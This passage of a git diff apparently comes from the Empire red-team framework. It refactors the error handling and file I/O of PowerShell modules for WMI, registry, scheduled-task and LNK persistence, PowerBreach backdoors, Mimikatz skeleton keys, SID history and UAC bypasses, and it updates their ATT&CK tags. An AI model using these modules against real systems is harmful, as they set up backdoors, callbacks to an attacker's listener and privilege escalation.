handle_error_message( + raise ModuleValidationException( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) @@ -79,20 +79,20 @@ def generate( if ext_file != "": # read in an external file as the payload and build a # base64 encoded version as encScript - if os.path.exists(ext_file): - with open(ext_file) as f: - fileData = f.read() + ext_path = Path(ext_file) + if ext_path.exists(): + fileData = ext_path.read_text() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(fileData) status_msg += "using external file " + ext_file else: - return handle_error_message("[!] File does not exist: " + ext_file) + raise ModuleValidationException("File does not exist: " + ext_file) elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set @@ -114,7 +114,7 @@ def generate( if ads_path != "": # store the script in the specified alternate data stream location if ".txt" not in ads_path: - return handle_error_message( + raise ModuleValidationException( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) @@ -156,7 +156,7 @@ def generate( # sanity check to make sure we haven't exceeded the cmd.exe command length max if len(trigger_cmd) > 259: - return handle_error_message( + raise ModuleValidationException( "[!] Warning: trigger command exceeds the maximum of 259 characters." ) diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.py b/empire/server/modules/powershell/persistence/elevated/wmi.py index bf79223af..67bd7eae0 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi.py @@ -1,9 +1,9 @@ -import os +from pathlib import Path from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -84,26 +84,26 @@ def generate( if ext_file != "": # read in an external file as the payload and build a # base64 encoded version as encScript - if os.path.exists(ext_file): - with open(ext_file) as f: - fileData = f.read() + ext_path = Path(ext_file) + if ext_path.exists(): + fileData = ext_path.read_text() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(fileData) status_msg += "using external file " + ext_file else: - return handle_error_message("[!] File does not exist: " + ext_file) + raise ModuleValidationException("File does not exist: " + ext_file) elif listener_name == "": - return handle_error_message( + raise ModuleValidationException( "[!] Either an ExtFile or a Listener must be specified" ) # if an external file isn't specified, use a listener elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set @@ -124,7 +124,7 @@ def generate( # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max if len(enc_script) > 8190: - return handle_error_message( + raise ModuleValidationException( "[!] Warning: -enc command exceeds the maximum of 8190 characters." ) @@ -153,7 +153,9 @@ def generate( parts = daily_time.split(":") if len(parts) < 2: - return handle_error_message("[!] Please use HH:mm format for DailyTime") + raise ModuleValidationException( + "[!] Please use HH:mm format for DailyTime" + ) hour = parts[0] minutes = parts[1] @@ -165,12 +167,12 @@ def generate( # if those day and day_of_week are combined, return nothing for the script if day != "" and day_of_week != "": - return handle_error_message("[!] Can not combine Day and DayOfWeek") + raise ModuleValidationException("Can not combine Day and DayOfWeek") # add day or day_of_week to event filter if day != "": if (int(day) < 1) or (int(day) > 31): - return handle_error_message( + raise ModuleValidationException( "[!] Please stick to range 1-31 for Day" ) day_filter = " AND (TargetInstance.Day = " + day + ")" @@ -178,7 +180,7 @@ def generate( elif day_of_week != "": if (int(day_of_week) < 0) or (int(day_of_week) > 6): - return handle_error_message( + raise ModuleValidationException( "[!] Please stick to range 0-6 for DayOfWeek" ) day_filter = " AND (TargetInstance.DayOfWeek=" + day_of_week + ")" diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.yaml b/empire/server/modules/powershell/persistence/elevated/wmi.yaml index f716e8e15..093095d0b 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi.yaml +++ b/empire/server/modules/powershell/persistence/elevated/wmi.yaml @@ -29,7 +29,9 @@ description: | by advanced security monitoring tools. software: '' tactics: [TA0003] -techniques: [T1546.003] +techniques: + - T1047 + - T1546.003 background: false output_extension: needs_admin: true diff --git a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py index f6cbbe271..9491e5a17 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py @@ -1,9 +1,9 @@ -import os +from pathlib import Path from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -76,16 +76,16 @@ def generate( if ext_file != "": # read in an external file as the payload and build a # base64 encoded version as encScript - if os.path.exists(ext_file): - with open(ext_file) as f: - file_data = f.read() + ext_path = Path(ext_file) + if ext_path.exists(): + file_data = ext_path.read_text() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(file_data) status_msg += "using external file " + ext_file else: - return handle_error_message("[!] File does not exist: " + ext_file) + raise ModuleValidationException("File does not exist: " + ext_file) else: # generate the PowerShell one-liner with all of the proper options set @@ -100,7 +100,7 @@ def generate( # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max if len(enc_script) > 8190: - return handle_error_message( + raise ModuleValidationException( "[!] Warning: -enc command exceeds the maximum of 8190 characters." ) @@ -115,7 +115,9 @@ def generate( parts = daily_time.split(":") if len(parts) < 2: - return handle_error_message("[!] Please use HH:mm format for DailyTime") + raise ModuleValidationException( + "[!] Please use HH:mm format for DailyTime" + ) hour = parts[0] minutes = parts[1] @@ -127,12 +129,12 @@ def generate( # if those day and day_of_week are combined, return nothing for the script if day != "" and day_of_week != "": - return handle_error_message("[!] Can not combine Day and DayOfWeek") + raise ModuleValidationException("Can not combine Day and DayOfWeek") # add day or day_of_week to event filter if day != "": if (int(day) < 1) or (int(day) > 31): - return handle_error_message( + raise ModuleValidationException( "[!] Please stick to range 1-31 for Day" ) day_filter = " AND (TargetInstance.Day = " + day + ")" @@ -140,7 +142,7 @@ def generate( elif day_of_week != "": if (int(day_of_week) < 0) or (int(day_of_week) > 6): - return handle_error_message( + raise ModuleValidationException( "[!] Please stick to range 0-6 for DayOfWeek" ) day_filter = " AND (TargetInstance.DayOfWeek=" + day_of_week + ")" diff --git a/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml b/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml index 910cf95cb..7ef38db39 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml +++ b/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml @@ -30,7 +30,9 @@ description: | monitoring tools. software: '' tactics: [TA0003] -techniques: [T1546.003] +techniques: + - T1047 + - T1546.003 background: false output_extension: needs_admin: true diff --git a/empire/server/modules/powershell/persistence/misc/add_sid_history.py b/empire/server/modules/powershell/persistence/misc/add_sid_history.py index 3bc9d85ce..992e8e4e6 100644 --- a/empire/server/modules/powershell/persistence/misc/add_sid_history.py +++ b/empire/server/modules/powershell/persistence/misc/add_sid_history.py @@ -1,27 +1,20 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - # build the custom command with whatever options we want command = f'"sid::add /sam:{params["User"]} /new:{params["Group"]}"' command = f"-Command '{command}'" @@ -30,9 +23,4 @@ def generate( # base64 encode the command to pass to Invoke-Mimikatz script_end = f"Invoke-Mimikatz {command};" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/persistence/misc/debugger.py b/empire/server/modules/powershell/persistence/misc/debugger.py index 37e692fdf..a382455ed 100644 --- a/empire/server/modules/powershell/persistence/misc/debugger.py +++ b/empire/server/modules/powershell/persistence/misc/debugger.py @@ -1,6 +1,6 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -43,7 +43,9 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException( + "[!] Invalid listener: " + listener_name + ) # generate the PowerShell one-liner launcher = main_menu.stagergenv2.generate_launcher( diff --git a/empire/server/modules/powershell/persistence/misc/debugger.yaml b/empire/server/modules/powershell/persistence/misc/debugger.yaml index b563162cf..cd83dd1c2 100644 --- a/empire/server/modules/powershell/persistence/misc/debugger.yaml +++ b/empire/server/modules/powershell/persistence/misc/debugger.yaml @@ -22,7 +22,7 @@ description: | and creates registry artifacts that can be detected by advanced security monitoring tools. software: '' -tactics: [TA0004] +tactics: [TA0004, TA0003, TA0005] techniques: [T1112, T1546.008] background: false output_extension: diff --git a/empire/server/modules/powershell/persistence/misc/get_ssps.yaml b/empire/server/modules/powershell/persistence/misc/get_ssps.yaml index 5e939f051..9d376f702 100644 --- a/empire/server/modules/powershell/persistence/misc/get_ssps.yaml +++ b/empire/server/modules/powershell/persistence/misc/get_ssps.yaml @@ -22,7 +22,7 @@ description: | legitimate security enhancements. software: '' tactics: [TA0004] -techniques: [T1101.005] +techniques: [T1547.005] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/persistence/misc/install_ssp.yaml b/empire/server/modules/powershell/persistence/misc/install_ssp.yaml index 28184af64..088883a60 100644 --- a/empire/server/modules/powershell/persistence/misc/install_ssp.yaml +++ b/empire/server/modules/powershell/persistence/misc/install_ssp.yaml @@ -23,7 +23,7 @@ description: | creates visible file and registry artifacts. software: '' tactics: [TA0004] -techniques: [T1101.005] +techniques: [T1547.005] background: true output_extension: needs_admin: true diff --git a/empire/server/modules/powershell/persistence/misc/memssp.yaml b/empire/server/modules/powershell/persistence/misc/memssp.yaml index 7094b8e8d..644edb78a 100644 --- a/empire/server/modules/powershell/persistence/misc/memssp.yaml +++ b/empire/server/modules/powershell/persistence/misc/memssp.yaml @@ -25,7 +25,7 @@ description: | re-injection after system restarts. software: S0194 tactics: [TA0004, TA0006] -techniques: [T1101.005, T1056] +techniques: [T1547.005, T1056] background: true output_extension: needs_admin: true diff --git a/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml b/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml index 97cd10f62..4d2efb0a6 100644 --- a/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml +++ b/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml @@ -40,5 +40,5 @@ options: required: true value: '' script_path: credentials/Invoke-Mimikatz.ps1 -script_end: Invoke-Mimikatz -Command "'misc::skeleton'"; 'Skeleton key implanted. +script_end: Invoke-Mimikatz -Command '"misc::skeleton"'; 'Skeleton key implanted. Use password mimikatz for access.' diff --git a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py index 39c53f2ef..531e03b90 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py +++ b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py @@ -1,9 +1,9 @@ -import os +from pathlib import Path from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -76,7 +76,7 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) # set the listener value for the launcher stager = main_menu.stagertemplatesv2.new_instance("multi_launcher") @@ -87,7 +87,7 @@ def generate( stager_code = stager.generate() if stager_code == "": - return handle_error_message("[!] Error creating stager") + raise ModuleValidationException("Error creating stager") script = script.replace("REPLACE_LAUNCHER", stager_code) @@ -110,16 +110,11 @@ def generate( out_file = params["OutFile"] if out_file != "": # make the base directory if it doesn't exist - if ( - not os.path.exists(os.path.dirname(out_file)) - and os.path.dirname(out_file) != "" - ): - os.makedirs(os.path.dirname(out_file)) - - with open(out_file, "w") as f: - f.write(script) + out_path = Path(out_file) + out_path.parent.mkdir(parents=True, exist_ok=True) + out_path.write_text(script) - return handle_error_message( + raise ModuleValidationException( "[+] PowerBreach deaduser backdoor written to " + out_file ) diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py index cb944aea0..700771ac5 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py +++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py @@ -1,9 +1,9 @@ -import os +from pathlib import Path from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -55,7 +55,7 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) stager_code = main_menu.stagergenv2.generate_launcher( listener_name=listener_name, @@ -65,7 +65,7 @@ def generate( ) if stager_code == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") script = script.replace("REPLACE_LAUNCHER", stager_code) for option, values in params.items(): @@ -87,16 +87,11 @@ def generate( out_file = params["OutFile"] if out_file != "": # make the base directory if it doesn't exist - if ( - not os.path.exists(os.path.dirname(out_file)) - and os.path.dirname(out_file) != "" - ): - os.makedirs(os.path.dirname(out_file)) - - with open(out_file, "w") as f: - f.write(script) + out_path = Path(out_file) + out_path.parent.mkdir(parents=True, exist_ok=True) + out_path.write_text(script) - return handle_error_message( + raise ModuleValidationException( "[+] PowerBreach deaduser backdoor written to " + out_file ) diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml b/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml index d88a7336e..67f472db8 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml +++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml @@ -21,7 +21,9 @@ description: | providing a reliable and difficult-to-detect persistence mechanism. software: '' tactics: [TA0004] -techniques: [T1546.003] +techniques: + - T1070.001 + - T1546.003 background: false output_extension: needs_admin: true diff --git a/empire/server/modules/powershell/persistence/powerbreach/resolver.py b/empire/server/modules/powershell/persistence/powerbreach/resolver.py index 42c09a65a..d8cb0c65b 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/resolver.py +++ b/empire/server/modules/powershell/persistence/powerbreach/resolver.py @@ -1,9 +1,9 @@ -import os +from pathlib import Path from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -63,7 +63,7 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) # set the listener value for the launcher stager = main_menu.stagertemplatesv2.new_instance("multi_launcher") @@ -74,7 +74,7 @@ def generate( stager_code = stager.generate() if stager_code == "": - return handle_error_message("[!] Error creating stager") + raise ModuleValidationException("Error creating stager") script = script.replace("REPLACE_LAUNCHER", stager_code) for option, values in params.items(): @@ -96,16 +96,11 @@ def generate( out_file = params["OutFile"] if out_file != "": # make the base directory if it doesn't exist - if ( - not os.path.exists(os.path.dirname(out_file)) - and os.path.dirname(out_file) != "" - ): - os.makedirs(os.path.dirname(out_file)) - - with open(out_file, "w") as f: - f.write(script) + out_path = Path(out_file) + out_path.parent.mkdir(parents=True, exist_ok=True) + out_path.write_text(script) - return handle_error_message( + raise ModuleValidationException( "[+] PowerBreach deaduser backdoor written to " + out_file ) diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py index 60242ba21..7da372026 100644 --- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py +++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py @@ -1,19 +1,23 @@ -import os +from pathlib import Path from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # management options lnk_path = params["LNKPath"] @@ -35,7 +39,7 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( @@ -51,16 +55,6 @@ def generate( ) launcher = launcher.replace("$", "`$") - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "Invoke-BackdoorLNK " if cleanup.lower() == "true": @@ -73,20 +67,24 @@ def generate( if ext_file != "": # read in an external file as the payload and build a # base64 encoded version as encScript - if os.path.exists(ext_file): - with open(ext_file) as f: - file_data = f.read() + ext_path = Path(ext_file) + if ext_path.exists(): + file_data = ext_path.read_text() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(file_data) status_msg += "using external file " + ext_file else: - return handle_error_message("[!] File does not exist: " + ext_file) + raise ModuleValidationException( + "[!] File does not exist: " + ext_file + ) elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException( + "[!] Invalid listener: " + listener_name + ) else: # generate the PowerShell one-liner with all of the proper options set @@ -109,9 +107,4 @@ def generate( script_end += f" -EncScript '{encScript}'" script_end += f"; \"Invoke-BackdoorLNK run on path '{lnk_path}' with stager for listener '{listener_name}'\"" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml index c6ff31e95..14f36be5e 100644 --- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml +++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml @@ -19,7 +19,7 @@ description: | maintains the appearance of normal system operation while ensuring continued access through user-initiated shortcut execution. software: '' -tactics: [TA0004] +tactics: [TA0004, TA0002] techniques: [T1204.001, T1547.009] background: true output_extension: diff --git a/empire/server/modules/powershell/persistence/userland/phishing_lnk.yaml b/empire/server/modules/powershell/persistence/userland/phishing_lnk.yaml index 94fedf454..9340a41b2 100644 --- a/empire/server/modules/powershell/persistence/userland/phishing_lnk.yaml +++ b/empire/server/modules/powershell/persistence/userland/phishing_lnk.yaml @@ -19,7 +19,7 @@ description: | as it leverages social engineering principles and user behavior patterns, providing a reliable method for re-establishing connections through user-initiated actions. -tactics: [TA0004] +tactics: [TA0004, TA0002] techniques: [T1204.001] background: true output_extension: diff --git a/empire/server/modules/powershell/persistence/userland/registry.py b/empire/server/modules/powershell/persistence/userland/registry.py index 9c69e0b94..3db0f1476 100644 --- a/empire/server/modules/powershell/persistence/userland/registry.py +++ b/empire/server/modules/powershell/persistence/userland/registry.py @@ -1,9 +1,9 @@ -import os +from pathlib import Path from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -43,7 +43,7 @@ def generate( if cleanup.lower() == "true": if ads_path != "": if ".txt" not in ads_path: - return handle_error_message( + raise ModuleValidationException( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) @@ -79,20 +79,20 @@ def generate( if ext_file != "": # read in an external file as the payload and build a # base64 encoded version as encScript - if os.path.exists(ext_file): - with open(ext_file) as f: - file_data = f.read() + ext_path = Path(ext_file) + if ext_path.exists(): + file_data = ext_path.read_text() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(file_data) status_msg += "using external file " + ext_file else: - return handle_error_message("[!] File does not exist: " + ext_file) + raise ModuleValidationException("File does not exist: " + ext_file) elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set @@ -116,7 +116,7 @@ def generate( if ads_path != "": if ".txt" not in ads_path: - return handle_error_message( + raise ModuleValidationException( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) @@ -138,7 +138,7 @@ def generate( # sanity check to make sure we haven't exceeded the 31389 byte max MAX_BYTES = 31389 if len(enc_script) > MAX_BYTES: - return handle_error_message( + raise ModuleValidationException( "[!] Warning: encoded script exceeds 31389 byte max." ) diff --git a/empire/server/modules/powershell/persistence/userland/schtasks.py b/empire/server/modules/powershell/persistence/userland/schtasks.py index ed716fcdc..141565b8d 100644 --- a/empire/server/modules/powershell/persistence/userland/schtasks.py +++ b/empire/server/modules/powershell/persistence/userland/schtasks.py @@ -1,9 +1,9 @@ -import os +from pathlib import Path from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -45,7 +45,7 @@ def generate( if ads_path != "": # remove the ADS storage location if ".txt" not in ads_path: - return handle_error_message( + raise ModuleValidationException( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) @@ -77,20 +77,20 @@ def generate( if ext_file != "": # read in an external file as the payload and build a # base64 encoded version as encScript - if os.path.exists(ext_file): - with open(ext_file) as f: - file_data = f.read() + ext_path = Path(ext_file) + if ext_path.exists(): + file_data = ext_path.read_text() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(file_data) status_msg += "using external file " + ext_file else: - return handle_error_message("[!] File does not exist: " + ext_file) + raise ModuleValidationException("File does not exist: " + ext_file) elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set @@ -112,7 +112,7 @@ def generate( if ads_path != "": # store the script in the specified alternate data stream location if ".txt" not in ads_path: - return handle_error_message( + raise ModuleValidationException( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) @@ -156,7 +156,7 @@ def generate( # sanity check to make sure we haven't exceeded the cmd.exe command length max MAX_CMD_LENGTH = 259 if len(trigger_cmd) > MAX_CMD_LENGTH: - return handle_error_message( + raise ModuleValidationException( "[!] Warning: trigger command exceeds the maximum of 259 characters." ) diff --git a/empire/server/modules/powershell/privesc/ask.py b/empire/server/modules/powershell/privesc/ask.py index a1dd0da5b..aab890eeb 100644 --- a/empire/server/modules/powershell/privesc/ask.py +++ b/empire/server/modules/powershell/privesc/ask.py @@ -1,6 +1,6 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -22,7 +22,7 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( @@ -38,7 +38,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") enc_launcher = " ".join(launcher.split(" ")[1:]) diff --git a/empire/server/modules/powershell/privesc/ask.yaml b/empire/server/modules/powershell/privesc/ask.yaml index ac521e7d9..4e466c0f1 100644 --- a/empire/server/modules/powershell/privesc/ask.yaml +++ b/empire/server/modules/powershell/privesc/ask.yaml @@ -9,7 +9,7 @@ description: | UAC will report Powershell is requesting Administrator privileges. Because this does not use the BypassUAC DLLs, it should not trigger any AV alerts. software: '' -tactics: [TA0004] +tactics: [TA0004, TA0006, TA0009] techniques: [T1056.002] background: true output_extension: diff --git a/empire/server/modules/powershell/privesc/bypassuac.py b/empire/server/modules/powershell/privesc/bypassuac.py index ca1150b6a..d57a8625a 100644 --- a/empire/server/modules/powershell/privesc/bypassuac.py +++ b/empire/server/modules/powershell/privesc/bypassuac.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options user_agent = params["UserAgent"] @@ -20,19 +24,9 @@ def generate( launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( @@ -48,12 +42,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") script_end = f'Invoke-BypassUAC -Command "{launcher}"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.py b/empire/server/modules/powershell/privesc/bypassuac_env.py index 022c70963..73f1d532d 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_env.py +++ b/empire/server/modules/powershell/privesc/bypassuac_env.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options listener_name = params["Listener"] @@ -20,19 +24,9 @@ def generate( launcher_obfuscate_command = params["ObfuscateCommand"] launcher_obfuscate = params["Obfuscate"].lower() == "true" - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( @@ -48,12 +42,7 @@ def generate( ) enc_script = launcher.split(" ")[-1] if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") script_end = f'Invoke-EnvBypass -Command "{enc_script}"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py index 7fe65753e..b0b70ab59 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py +++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options user_agent = params["UserAgent"] @@ -20,19 +24,9 @@ def generate( launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + 